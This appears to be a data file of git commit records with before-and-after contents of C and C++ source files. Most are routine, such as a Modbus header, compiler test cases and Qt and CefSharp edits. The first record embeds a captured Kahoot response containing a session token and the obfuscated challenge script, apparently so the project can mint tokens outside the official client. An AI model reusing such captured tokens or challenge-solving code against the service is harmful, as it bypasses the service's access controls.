{"commit":"4694d1f290fd37bddff9a31c7b6b57a0a0f3d5af","old_file":"token_server\/src\/main.c","new_file":"token_server\/src\/main.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n\n#include \"httpserv.h\"\n#include \"request.h\"\n\n#define PORT 5556\n#define BACKLOG 5\n\nint main(int argc, char* argv[]) {\n\tsetup_openssl();\n\treq* r = init_request();\n\tchar* res = request_kahoot_token(r, \"6573712\");\n\tprintf(\"%s\\n\", res);\n\treturn 0;\n};","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <errno.h>\n\n#include \"httpserv.h\"\n#include \"request.h\"\n#include \"kahoot.h\"\n\n#define PORT 5556\n#define BACKLOG 5\n#define HEADERS \"HTTP\/1.1 200 OK\\\nServer: openresty\/1.11.2.2\\\nDate: Tue, 28 Mar 2017 14:55:03 GMT\\\nContent-Type: application\/json\\\nTransfer-Encoding: chunked\\\nConnection: keep-alive\\\nVary: Accept-Encoding\\\nx-kahoot-session-token: UhMIEhNAWF8LCgRTUSdNKwx+LWBRW39dfjoTTmwAcXBwCDdZDV1qfXcJJwJmLQdFLE0Obh9XW2d1GRB5QVJ6eF5fOU8GUgNvcgV7BW8DDlA5eGBcYG5XYjRmPS1CGGFP\\\n\\\n1a4\\\n{\\\"twoFactorAuth\\\":false,\\\"challenge\\\":\"decode('rX7Rw1SRHxgrZVYKWkGHmVATO4zEGrV8Sl89RKwf3o82PZkT6e5eFjYNlPyu1HOpp724MtdhTGqgXHPLcYxNkBPjuEdarpy0BJJ1'); function decode(message) {var offset = ((67 + 21 * (98 * 54)) + (8 + 98) + 15); console.log(\\\"Offset derived as:\\\", offset); return _.replace(message, \/.\/g, function(char, position) {return String.fromCharCode((((char.charCodeAt(0) * position) + offset) % 77) + 48);});}\\\"}\\\n0\"\n\nint main(int argc, char* argv[]) {\n\tsetup_openssl();\n\t\/\/\n\treturn 0;\n};","subject":"Add sample headers as a macro","message":"Add sample headers as a macro\n","lang":"C","license":"mit","repos":"ukahoot\/ukahoot,ukahoot\/ukahoot.github.io,ukahoot\/ukahoot,ukahoot\/ukahoot.github.io,ukahoot\/ukahoot.github.io,ukahoot\/ukahoot,ukahoot\/ukahoot"}
{"commit":"b2550d29e716c535c255ddffb5b82cb1379ed491","old_file":"libraries\/ModbusIP\/ModbusIP.h","new_file":"libraries\/ModbusIP\/ModbusIP.h","old_contents":"\/*\n    ModbusIP.h - Header for Modbus IP Library\n    Copyright (C) 2015 Andr Sarmento Barbosa\n*\/\n#include <Arduino.h>\n#include <Modbus.h>\n#include <SPI.h>\n#include <Ethernet.h>\n\n#ifndef MODBUSIP_H\n#define MODBUSIP_H\n\n#define MODBUSIP_PORT \t  502\n#define MODBUSIP_MAXFRAME 200\n\nclass ModbusIP : public Modbus {\n    private:\n\t\tEthernetServer _server;\n\t\tbyte _MBAP[7];\n\n    public:\n        ModbusIP();\n        bool config(uint8_t *mac, IPAddress ip, IPAddress dns, IPAddress gateway, IPAddress subnet);\n        void proc();\n};\n\n#endif \/\/MODBUSIP_H\n\n","new_contents":"\/*\n    ModbusIP.h - Header for Modbus IP Library\n    Copyright (C) 2015 Andr Sarmento Barbosa\n*\/\n#include <Arduino.h>\n#include <Modbus.h>\n#include <SPI.h>\n#include <Ethernet.h>\n\n#ifndef MODBUSIP_H\n#define MODBUSIP_H\n\n#define MODBUSIP_PORT \t  502\n#define MODBUSIP_MAXFRAME 200\n\nclass ModbusIP : public Modbus {\n    private:\n\t\tEthernetServer _server;\n\t\tbyte _MBAP[7];\n\n    public:\n        ModbusIP();\n        void config(uint8_t *mac);\n        void config(uint8_t *mac, IPAddress ip);\n        void config(uint8_t *mac, IPAddress ip, IPAddress dns);\n        void config(uint8_t *mac, IPAddress ip, IPAddress dns, IPAddress gateway);\n        void config(uint8_t *mac, IPAddress ip, IPAddress dns, IPAddress gateway, IPAddress subnet);\n        void task();\n};\n\n#endif \/\/MODBUSIP_H\n\n","subject":"Change proc() to task() and put overloaded config types.","message":"Change proc() to task() and put overloaded config types.\n","lang":"C","license":"bsd-3-clause","repos":"unparallel-innovation\/Modbus-Slave,andresarmento\/modbus-arduino,unparallel-innovation\/Modbus-Slave"}
{"commit":"8ad7d79b10b4db785bc4477c206521284ec280ae","old_file":"include\/sauce\/internal\/disposal_deleter.h","new_file":"include\/sauce\/internal\/disposal_deleter.h","old_contents":"#ifndef SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_\n#define SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_\n\n#include <sauce\/memory.h>\n\nnamespace sauce {\nnamespace internal {\nnamespace bindings {\n\ntemplate<typename Dependency, typename Scope>\nclass NakedBinding;\n\n\/**\n * A smart pointer deleter that diposes with a given binding.\n *\/\ntemplate<typename Dependency, typename Scope>\nclass DisposalDeleter {\n  typedef typename Key<Dependency>::Iface Iface;\n  typedef sauce::shared_ptr<NakedBinding<Dependency, Scope> > BindingPtr;\n\n  friend class NakedBinding<Dependency, Scope>;\n\n  BindingPtr binding;\n\n  DisposalDeleter(BindingPtr binding):\n    binding(binding) {}\n\npublic:\n\n  \/**\n   * Cast and dispose the given Iface instance.\n   *\/\n  void operator()(Iface * iface) const {\n    binding->dispose(iface);\n  }\n};\n\n}\n}\n\nnamespace i = ::sauce::internal;\nnamespace b = ::sauce::internal::bindings;\n\n}\n\n#endif \/\/ SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_\n","new_contents":"#ifndef SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_\n#define SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_\n\n#include <sauce\/memory.h>\n\nnamespace sauce {\nnamespace internal {\n\nnamespace bindings {\ntemplate<typename Dependency, typename Scope>\nclass NakedBinding;\n}\n\nnamespace b = ::sauce::internal::bindings;\n\n\/**\n * A smart pointer deleter that diposes with a given binding.\n *\/\ntemplate<typename Dependency, typename Scope>\nclass DisposalDeleter {\n  typedef typename Key<Dependency>::Iface Iface;\n  typedef sauce::shared_ptr<b::NakedBinding<Dependency, Scope> > BindingPtr;\n\n  friend class b::NakedBinding<Dependency, Scope>;\n\n  BindingPtr binding;\n\n  DisposalDeleter(BindingPtr binding):\n    binding(binding) {}\n\npublic:\n\n  \/**\n   * Cast and dispose the given Iface instance.\n   *\/\n  void operator()(Iface * iface) const {\n    binding->dispose(iface);\n  }\n};\n\n}\n\nnamespace i = ::sauce::internal;\n\n}\n\n#endif \/\/ SAUCE_SAUCE_INTERNAL_DISPOSAL_DELETER_H_\n","subject":"Move DisposalDeleter out of bindings namespace.","message":"Move DisposalDeleter out of bindings namespace.\n","lang":"C","license":"mit","repos":"phs\/sauce,phs\/sauce,phs\/sauce,phs\/sauce"}
{"commit":"dbc62f00421915cc1934369dfca4b0708b523ae5","old_file":"tests\/regression\/37-congruence\/05-implicitunsignedconversion-1.c","new_file":"tests\/regression\/37-congruence\/05-implicitunsignedconversion-1.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.congruence --enable ana.int.congruence_no_overflow\n\/\/ from https:\/\/github.com\/sosy-lab\/sv-benchmarks\/blob\/master\/c\/bitvector-regression\/implicitunsignedconversion-1.c\nint main() {\n  unsigned int plus_one = 1;\n  int minus_one = -1;\n  int v = 0;\n\n  if(plus_one < minus_one) {\n    v = 1;\n    assert(1);\n  }\n  \n  assert(v==1);\n  \n  \/\/ from https:\/\/github.com\/sosy-lab\/sv-benchmarks\/blob\/master\/c\/bitvector-regression\/integerpromotion-3.c\n  unsigned char port = 0x5a;\n  unsigned char result_8 = ( ~port ) >> 4;\n  if (result_8 == 0xfa) {\n    v = 2;\n  }\n  \n  assert(v==2); \/\/ UNKNOWN\n\n  \/\/ from https:\/\/github.com\/sosy-lab\/sv-benchmarks\/blob\/master\/c\/bitvector-regression\/signextension-1.c\n  unsigned short int allbits = -1;\n  short int signedallbits = allbits;\n  int unsignedtosigned = allbits;\n  unsigned int unsignedtounsigned = allbits;\n  int signedtosigned = signedallbits;\n  unsigned int signedtounsigned = signedallbits;\n\n  \/*\n  printf (\"unsignedtosigned: %d\\n\", unsignedtosigned);\n  printf (\"unsignedtounsigned: %u\\n\", unsignedtounsigned);\n  printf (\"signedtosigned: %d\\n\", signedtosigned);\n  printf (\"signedtounsigned: %u\\n\", signedtounsigned);\n  *\/\n\n  if (unsignedtosigned == 65535 && unsignedtounsigned == 65535\n      && signedtosigned == -1 && signedtounsigned == 4294967295) {\n    v =3;\n  }\n\n  assert(v==3); \/\/ UNKNOWN\n\n\n  return (0);\n}","subject":"Add some of these cast examples as test for congruences","message":"Add some of these cast examples as test for congruences\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"d26e89dfcb592e2f51352640822d625ee560aca7","old_file":"test\/FrontendC\/vla-1.c","new_file":"test\/FrontendC\/vla-1.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -std=gnu99 %s -S |& grep {error: \"is greater than the stack alignment\" } \n\nint foo(int a)\n{\n  int var[a] __attribute__((__aligned__(32)));\n  return 4;\n}\n","subject":"Add a testcase for the vla and stack realignment warning.","message":"Add a testcase for the vla and stack realignment warning.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@108365 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm"}
{"commit":"f16528c032e344e4e8811c990c2d8736166e586c","old_file":"src\/transport.h","new_file":"src\/transport.h","old_contents":"#ifndef TELEMETRY_TRANSPORT_HPP_\n#define TELEMETRY_TRANSPORT_HPP_\n\n#include \"HardwareSerial.h\"\n\nint32_t read(uint8_t * buf, uint32_t sizeToRead)\n{\n    return Serial.readBytes((char*)(buf), sizeToRead);\n}\n\nint32_t write(uint8_t * buf, uint32_t sizeToWrite)\n{\n    Serial.write((char*)(buf),sizeToWrite);\n    return 0;\n}\n\nint32_t readable()\n{\n    return Serial.available();\n}\n\nint32_t writeable()\n{\n    return Serial.availableForWrite();\n}\n\n#endif\n","new_contents":"#ifndef TELEMETRY_TRANSPORT_HPP_\n#define TELEMETRY_TRANSPORT_HPP_\n\n#include \"HardwareSerial.h\"\n#include \"Arduino.h\"\n\nint32_t read(uint8_t * buf, uint32_t sizeToRead)\n{\n    return Serial.readBytes((char*)(buf), sizeToRead);\n}\n\nint32_t write(uint8_t * buf, uint32_t sizeToWrite)\n{\n    Serial.write((char*)(buf),sizeToWrite);\n    return 0;\n}\n\nint32_t readable()\n{\n    return Serial.available();\n}\n\nint32_t writeable()\n{\n    return Serial.availableForWrite();\n}\n\n#endif\n","subject":"Fix missing header error in some boards","message":"Fix missing header error in some boards\n","lang":"C","license":"mit","repos":"Overdrivr\/Telemetry-arduino,Overdrivr\/Telemetry-arduino"}
{"commit":"2484078050810da411d1ee3230558a1c4aa33ae3","old_file":"prototype\/luamake\/luamake.c","new_file":"prototype\/luamake\/luamake.c","old_contents":"","new_contents":"#include <lua.h>\n#include <lauxlib.h>\n#include <lualib.h>\n\nint main(int argc, char *argv[])\n{\n    lua_State *ls;\n    int status;\n\n    ls = luaL_newstate();\n\n    if(argc > 1) {\n        status = luaL_loadfile(ls, argv[1]);\n        if(status) {\n            printf(\"ERROR: %s\\n\", lua_tostring(ls, -1));\n        }\n    }\n\n    lua_close(ls);\n\n    return 0;\n}\n","subject":"Add initial lua integration concept","message":"Add initial lua integration concept\n","lang":"C","license":"mit","repos":"sjanhunen\/moss,sjanhunen\/gnumake-molds,sjanhunen\/moss"}
{"commit":"a79ace9c10f52cc7124bd900bca94603978dc561","old_file":"include\/tasks\/clock_server.h","new_file":"include\/tasks\/clock_server.h","old_contents":"\n#ifndef __CLOCK_SERVER_H__\n#define __CLOCK_SERVER_H__\n\n#include <std.h>\n#include <scheduler.h>\n\nextern int clock_server_tid;\n\ntypedef enum {\n    CLOCK_NOTIFY = 1,\n    CLOCK_DELAY = 2,\n    CLOCK_TIME = 3,\n    CLOCK_DELAY_UNTIL = 4\n} clock_req_type;\n\ntypedef struct {\n    clock_req_type type;\n    uint ticks;\n} clock_req;\n\nvoid clock_server(void);\n\n#endif\n","new_contents":"\n#ifndef __CLOCK_SERVER_H__\n#define __CLOCK_SERVER_H__\n\n#include <std.h>\n#include <scheduler.h>\n\nextern int clock_server_tid;\n\ntypedef enum {\n    CLOCK_NOTIFY = 1,\n    CLOCK_DELAY = 2,\n    CLOCK_TIME = 3,\n    CLOCK_DELAY_UNTIL = 4\n} clock_req_type;\n\ntypedef struct {\n    clock_req_type type;\n    uint ticks;\n} clock_req;\n\nvoid __attribute__ ((noreturn)) clock_server(void);\n\n#endif\n","subject":"Fix warning given by Clang","message":"Fix warning given by Clang\n","lang":"C","license":"mit","repos":"ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme,ferrous26\/cs452-flaming-meme"}
{"commit":"633f65f6eed79b6a13d8fe76cfdb0ac19116e118","old_file":"server\/types\/JoinableImpl.h","new_file":"server\/types\/JoinableImpl.h","old_contents":"#ifndef JOINABLE_IMPL\n#define JOINABLE_IMPL\n\n#include \"joinable_types.h\"\n#include \"types\/MediaObjectImpl.h\"\n\nusing ::com::kurento::kms::api::Joinable;\nusing ::com::kurento::kms::api::Direction;\nusing ::com::kurento::kms::api::StreamType;\nusing ::com::kurento::kms::api::MediaSession;\n\nnamespace com { namespace kurento { namespace kms {\n\nclass JoinableImpl : public Joinable, public virtual MediaObjectImpl {\npublic:\n\tJoinableImpl(MediaSession &session);\n\t~JoinableImpl() throw() {};\n\n\tstd::vector<StreamType::type> getStreams(const Joinable& joinable);\n\n\tvoid join(const JoinableImpl& to, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to);\n\n\tvoid join(const JoinableImpl& to, const StreamType::type stream, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to, const StreamType::type stream);\n\n\tstd::vector<Joinable> &getJoinees();\n\tstd::vector<Joinable> &getDirectionJoiness(const Direction::type direction);\n\n\tstd::vector<Joinable> &getJoinees(const StreamType::type stream);\n\tstd::vector<Joinable> &getDirectionJoiness(const StreamType::type stream, const Direction::type direction);\n};\n\n}}} \/\/ com::kurento::kms\n\n#endif \/* JOINABLE_IMPL *\/\n","new_contents":"#ifndef JOINABLE_IMPL\n#define JOINABLE_IMPL\n\n#include \"joinable_types.h\"\n#include \"types\/MediaObjectImpl.h\"\n\nusing ::com::kurento::kms::api::Joinable;\nusing ::com::kurento::kms::api::Direction;\nusing ::com::kurento::kms::api::StreamType;\nusing ::com::kurento::kms::api::MediaSession;\n\nnamespace com { namespace kurento { namespace kms {\n\nclass JoinableImpl : public Joinable, public virtual MediaObjectImpl {\npublic:\n\tJoinableImpl(MediaSession &session);\n\t~JoinableImpl() throw() {};\n\n\tvoid getStreams(std::vector<StreamType::type> &_return);\n\n\tvoid join(const JoinableImpl& to, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to);\n\n\tvoid join(const JoinableImpl& to, const StreamType::type stream, const Direction::type direction);\n\tvoid unjoin(const JoinableImpl& to, const StreamType::type stream);\n\n\tvoid getJoinees(std::vector<Joinable> &_return);\n\tvoid getDirectionJoiness(std::vector<Joinable> &_return, const Direction::type direction);\n\n\tvoid getJoinees(std::vector<Joinable> &_return, const StreamType::type stream);\n\tvoid getDirectionJoiness(std::vector<Joinable> &_return, const StreamType::type stream, const Direction::type direction);\n};\n\n}}} \/\/ com::kurento::kms\n\n#endif \/* JOINABLE_IMPL *\/\n","subject":"Make jonable methods to return vectors via reference","message":"Make jonable methods to return vectors via reference\n","lang":"C","license":"lgpl-2.1","repos":"mparis\/kurento-media-server,Kurento\/kurento-media-server,todotobe1\/kurento-media-server,TribeMedia\/kurento-media-server,lulufei\/kurento-media-server,Kurento\/kurento-media-server,shelsonjava\/kurento-media-server,todotobe1\/kurento-media-server,mparis\/kurento-media-server,lulufei\/kurento-media-server,shelsonjava\/kurento-media-server,TribeMedia\/kurento-media-server"}
{"commit":"390d2ed51617ed0c5cde961c0bc9daa1caece1fe","old_file":"NavigationReactNative\/src\/ios\/NVSceneController.h","new_file":"NavigationReactNative\/src\/ios\/NVSceneController.h","old_contents":"#import <UIKit\/UIKit.h>\n\n@interface NVSceneController : UIViewController\n\n@property (nonatomic, copy) void (^boundsDidChangeBlock)(NVSceneController *controller);\n@property (nonatomic, assign) UIStatusBarStyle statusBarStyle;\n@property (nonatomic, assign) BOOL statusBarHidden;\n\n- (id)initWithScene:(UIView *)view;\n\n@end\n\n@protocol NVScene\n\n@property (nonatomic, assign) BOOL hidesTabBar;\n- (void)didPop;\n\n@end\n\n@protocol NVNavigationBar\n\n@property (nonatomic, assign) BOOL isHidden;\n@property (nonatomic, assign) BOOL largeTitle;\n@property (nonatomic, copy) NSString* title;\n@property (nonatomic, copy) NSString *backTitle;\n\n- (void)updateStyle;\n\n@end\n\n@protocol NVSearchBar\n\n@property UISearchController *searchController;\n@property (nonatomic, assign) BOOL hideWhenScrolling;\n\n@end\n\n@protocol NVStatusBar\n\n@property (nonatomic, assign) UIStatusBarStyle tintStyle;\n@property (nonatomic, assign) BOOL hidden;\n- (void)updateStyle;\n\n@end\n","new_contents":"#import <UIKit\/UIKit.h>\n\n@interface NVSceneController : UIViewController\n\n@property (nonatomic, copy) void (^boundsDidChangeBlock)(NVSceneController *controller);\n@property (nonatomic, assign) UIStatusBarStyle statusBarStyle;\n@property (nonatomic, assign) BOOL statusBarHidden;\n\n- (id)initWithScene:(UIView *)view;\n\n@end\n\n@protocol NVScene\n\n@property (nonatomic, assign) BOOL hidesTabBar;\n- (void)didPop;\n\n@end\n\n@protocol NVNavigationBar\n\n@property (nonatomic, assign) BOOL isHidden;\n@property (nonatomic, assign) BOOL largeTitle;\n@property (nonatomic, copy) NSString* title;\n@property (nonatomic, copy) NSString *backTitle;\n- (void)updateStyle;\n\n@end\n\n@protocol NVSearchBar\n\n@property UISearchController *searchController;\n@property (nonatomic, assign) BOOL hideWhenScrolling;\n\n@end\n\n@protocol NVStatusBar\n\n@property (nonatomic, assign) UIStatusBarStyle tintStyle;\n@property (nonatomic, assign) BOOL hidden;\n- (void)updateStyle;\n\n@end\n","subject":"Remove line so file doesn't show in diff","message":"Remove line so file doesn't show in diff\n","lang":"C","license":"apache-2.0","repos":"grahammendick\/navigation,grahammendick\/navigation,grahammendick\/navigation,grahammendick\/navigation,grahammendick\/navigation,grahammendick\/navigation,grahammendick\/navigation"}
{"commit":"8d94846a4443ed99ccd7877bad0a558c73593441","old_file":"src\/shutdowncheck.h","new_file":"src\/shutdowncheck.h","old_contents":"#ifndef QAK_SHUTDOWN_CHECK_H\n#define QAK_SHUTDOWN_CHECK_H\n\n#include <QDebug>\n#include <QObject>\n#include <QStandardPaths>\n#include <QFile>\n#include <QFileInfo>\n#include <QDateTime>\n\nclass ShutdownCheck : public QObject\n{\n    Q_OBJECT\n\npublic:\n    enum Status\n    {\n        OK,\n        FAILED,\n        Error\n    };\n    Q_ENUM(Status)\n\n    Q_PROPERTY(int status READ status NOTIFY statusChanged)\n\n    explicit ShutdownCheck(QObject* parent = 0);\n    ~ShutdownCheck();\n\n    int status() const;\n    void setStatus(int status);\n\nsignals:\n    void statusChanged();\n\nprivate:\n    QString _dataPath;\n    QString _mark;\n\n    int _status;\n\n    void writeMark();\n    void removeMark();\n    bool markExists();\n\n};\n\n#endif \/\/ QAK_SHUTDOWN_CHECK_H\n","new_contents":"#ifndef QAK_SHUTDOWN_CHECK_H\n#define QAK_SHUTDOWN_CHECK_H\n\n#include <QDebug>\n#include <QObject>\n#include <QStandardPaths>\n#include <QFile>\n#include <QFileInfo>\n#include <QDateTime>\n\nclass ShutdownCheck : public QObject\n{\n    Q_OBJECT\n\npublic:\n    enum Status\n    {\n        OK,\n        FAILED,\n        Error\n    };\n    Q_ENUM(Status)\n\n    Q_PROPERTY(int status READ status NOTIFY statusChanged)\n\n    explicit ShutdownCheck(QObject* parent = 0);\n    ~ShutdownCheck();\n\n    int status() const;\n    void setStatus(int status);\n\npublic slots:\n    void writeMark();\n    void removeMark();\n    bool markExists();\n\nsignals:\n    void statusChanged();\n\nprivate:\n    QString _dataPath;\n    QString _mark;\n\n    int _status;\n};\n\n#endif \/\/ QAK_SHUTDOWN_CHECK_H\n","subject":"Allow custom shutdown check cycles by exposing private functions","message":"Allow custom shutdown check cycles by exposing private functions\n","lang":"C","license":"mit","repos":"Larpon\/qak,Larpon\/qak,Larpon\/qak"}
{"commit":"8b9c56f917399fd11e05f0561c095c275035c095","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT\t11122\n#define LISTEN_BACKLOG 40\n\/*\n * It is somehow beneficial if this size is 32 bit aligned.\n *\/\n#define MAX_MESSAGE_SIZE 512\n#define WRITE_BUFFER_CHUNK 512\n#define MAX_WRITE_BUFFER_SIZE 10 * WRITE_BUFFER_CHUNK\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS 100\n\n#endif\n","new_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT\t11122\n#define LISTEN_BACKLOG 40\n\/*\n * It is somehow beneficial if this size is 32 bit aligned.\n *\/\n#define MAX_MESSAGE_SIZE 512\n#define WRITE_BUFFER_CHUNK 512\n#define MAX_WRITE_BUFFER_SIZE (10 * (WRITE_BUFFER_CHUNK))\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS 100\n\n#endif\n","subject":"Use some paranthesis around macro parameters.","message":"Use some paranthesis around macro parameters.\n","lang":"C","license":"mit","repos":"mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet"}
{"commit":"b28d2f877b3c419bb7643a1eadef4ea28057b1e7","old_file":"docs\/examples\/applications\/list_all_groups.c","new_file":"docs\/examples\/applications\/list_all_groups.c","old_contents":"#include <opensync\/opensync.h>\n#include <opensync\/opensync-group.h>\n\nint main(int argc, char *argv[]) {\n\t\n\tOSyncList *groups, *g;\n\tint i = 0;\n\t\n\tosync_bool couldloadgroups;\n\t\n\tOSyncGroup *group = NULL;\n\tOSyncGroupEnv *groupenv = NULL;\n\t\n\tgroupenv = osync_group_env_new(NULL);\n\t\/* load groups from default dir *\/\n\tcouldloadgroups = osync_group_env_load_groups(groupenv, NULL, NULL);\n\t\n\tif ( !couldloadgroups ) {\n\t\t\/* print error *\/\n\t\tprintf(\"Could not load groups.\");\n\t\treturn -1;\n\t}\n\t\n\tgroups = osync_group_env_get_groups(groupenv);\n\tprintf(\"found %i groups\\n\", osync_list_length(groups));\n\t\n\tfor (g = groups; g; g = g->next) {\n\t\tgroup = (OSyncGroup *) g->data;\n\t\tprintf(\"group nr. %i is %s\\n\", i+1, osync_group_get_name(group));\n\t}\n\t\n\t\/* free env *\/\n\tosync_group_env_unref(groupenv);\n\t\n\treturn 0;\n}\n","new_contents":"#include <opensync\/opensync.h>\n#include <opensync\/opensync-group.h>\n\nint main(int argc, char *argv[]) {\n\t\n\tOSyncList *groups, *g;\n\tint i = 0;\n\t\n\tosync_bool couldloadgroups;\n\t\n\tOSyncGroup *group = NULL;\n\tOSyncGroupEnv *groupenv = NULL;\n\t\n\tgroupenv = osync_group_env_new(NULL);\n\t\/* load groups from default dir *\/\n\tcouldloadgroups = osync_group_env_load_groups(groupenv, NULL, NULL);\n\t\n\tif ( !couldloadgroups ) {\n\t\t\/* print error *\/\n\t\tprintf(\"Could not load groups.\");\n\t\treturn -1;\n\t}\n\t\n\tgroups = osync_group_env_get_groups(groupenv);\n\tprintf(\"found %i groups\\n\", osync_list_length(groups));\n\t\n\tfor (g = groups; g; g = g->next) {\n\t\tgroup = (OSyncGroup *) g->data;\n\t\tprintf(\"group nr. %i is %s\\n\", i+1, osync_group_get_name(group));\n\t}\n\n\t\/* Free the list *\/\n\tosync_list_free(groups);\n\t\n\t\/* free env *\/\n\tosync_group_env_unref(groupenv);\n\t\n\treturn 0;\n}\n","subject":"Fix potential memory leak - freeing the newly created OSyncList was missing","message":"Fix potential memory leak - freeing the newly created OSyncList was\nmissing\n\n\ngit-svn-id: e31799a7ad59d6ea355ca047c69e0aee8a59fcd3@5736 53f5c7ee-bee3-0310-bbc5-ea0e15fffd5e\n","lang":"C","license":"lgpl-2.1","repos":"luizluca\/opensync-luizluca,luizluca\/opensync-luizluca"}
{"commit":"d21808b5823bdf53fc969019969f700573a8eb69","old_file":"CefSharp.BrowserSubprocess.Core\/Messaging\/EvaluateScriptDelegate.h","new_file":"CefSharp.BrowserSubprocess.Core\/Messaging\/EvaluateScriptDelegate.h","old_contents":"\/\/ Copyright  2010-2015 The CefSharp Project. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n    \n#include \"..\/CefSharp.Core\/Internals\/Messaging\/ProcessMessageDelegate.h\"\n    \nnamespace CefSharp\n{\n    class CefAppUnmanagedWrapper;\n\n    namespace Internals\n    {\n        namespace Messaging\n        {\n            \/\/This class handles incoming evaluate script messages and responses to them after fulfillment.\n            class EvaluateScriptDelegate : public ProcessMessageDelegate\n            {\n            private:\n                DISALLOW_IMPLICIT_CONSTRUCTORS(EvaluateScriptDelegate);\n\n                CefRefPtr<CefAppUnmanagedWrapper> _appUnmanagedWrapper;\n            public:\n                EvaluateScriptDelegate(CefRefPtr<CefAppUnmanagedWrapper> appUnmanagedWrapper);\n                virtual bool OnProcessMessageReceived(CefRefPtr<CefBrowser> browser, CefProcessId source_process, CefRefPtr<CefProcessMessage> message) override;\n            };\n        }\n    }\n}","new_contents":"\/\/ Copyright  2010-2015 The CefSharp Project. All rights reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\n#pragma once\n    \n#include \"..\/CefSharp.Core\/Internals\/Messaging\/ProcessMessageDelegate.h\"\n    \nnamespace CefSharp\n{\n    class CefAppUnmanagedWrapper;\n\n    namespace Internals\n    {\n        namespace Messaging\n        {\n            \/\/This class handles incoming evaluate script messages and responses to them after fulfillment.\n            class EvaluateScriptDelegate : public ProcessMessageDelegate\n            {\n            private:\n                DISALLOW_IMPLICIT_CONSTRUCTORS(EvaluateScriptDelegate);\n\n                CefRefPtr<CefAppUnmanagedWrapper> _appUnmanagedWrapper;\n            public:\n                EvaluateScriptDelegate(CefRefPtr<CefAppUnmanagedWrapper> appUnmanagedWrapper);\n                virtual bool OnProcessMessageReceived(CefRefPtr<CefBrowser> browser, CefProcessId sourceProcessId, CefRefPtr<CefProcessMessage> message) override;\n            };\n        }\n    }\n}","subject":"Rename variable to be more .net like","message":"Rename variable to be more .net like\n","lang":"C","license":"bsd-3-clause","repos":"Haraguroicha\/CefSharp,ITGlobal\/CefSharp,jamespearce2006\/CefSharp,NumbersInternational\/CefSharp,zhangjingpu\/CefSharp,VioletLife\/CefSharp,illfang\/CefSharp,windygu\/CefSharp,battewr\/CefSharp,joshvera\/CefSharp,battewr\/CefSharp,Haraguroicha\/CefSharp,ITGlobal\/CefSharp,windygu\/CefSharp,jamespearce2006\/CefSharp,VioletLife\/CefSharp,wangzheng888520\/CefSharp,twxstar\/CefSharp,gregmartinhtc\/CefSharp,Livit\/CefSharp,ruisebastiao\/CefSharp,wangzheng888520\/CefSharp,Haraguroicha\/CefSharp,rlmcneary2\/CefSharp,ruisebastiao\/CefSharp,AJDev77\/CefSharp,ITGlobal\/CefSharp,joshvera\/CefSharp,wangzheng888520\/CefSharp,rlmcneary2\/CefSharp,Livit\/CefSharp,haozhouxu\/CefSharp,gregmartinhtc\/CefSharp,illfang\/CefSharp,illfang\/CefSharp,jamespearce2006\/CefSharp,dga711\/CefSharp,zhangjingpu\/CefSharp,yoder\/CefSharp,Livit\/CefSharp,twxstar\/CefSharp,joshvera\/CefSharp,NumbersInternational\/CefSharp,rlmcneary2\/CefSharp,ruisebastiao\/CefSharp,windygu\/CefSharp,jamespearce2006\/CefSharp,windygu\/CefSharp,haozhouxu\/CefSharp,VioletLife\/CefSharp,yoder\/CefSharp,Livit\/CefSharp,wangzheng888520\/CefSharp,illfang\/CefSharp,dga711\/CefSharp,VioletLife\/CefSharp,ruisebastiao\/CefSharp,ITGlobal\/CefSharp,twxstar\/CefSharp,yoder\/CefSharp,gregmartinhtc\/CefSharp,zhangjingpu\/CefSharp,twxstar\/CefSharp,zhangjingpu\/CefSharp,dga711\/CefSharp,haozhouxu\/CefSharp,jamespearce2006\/CefSharp,dga711\/CefSharp,AJDev77\/CefSharp,battewr\/CefSharp,NumbersInternational\/Ce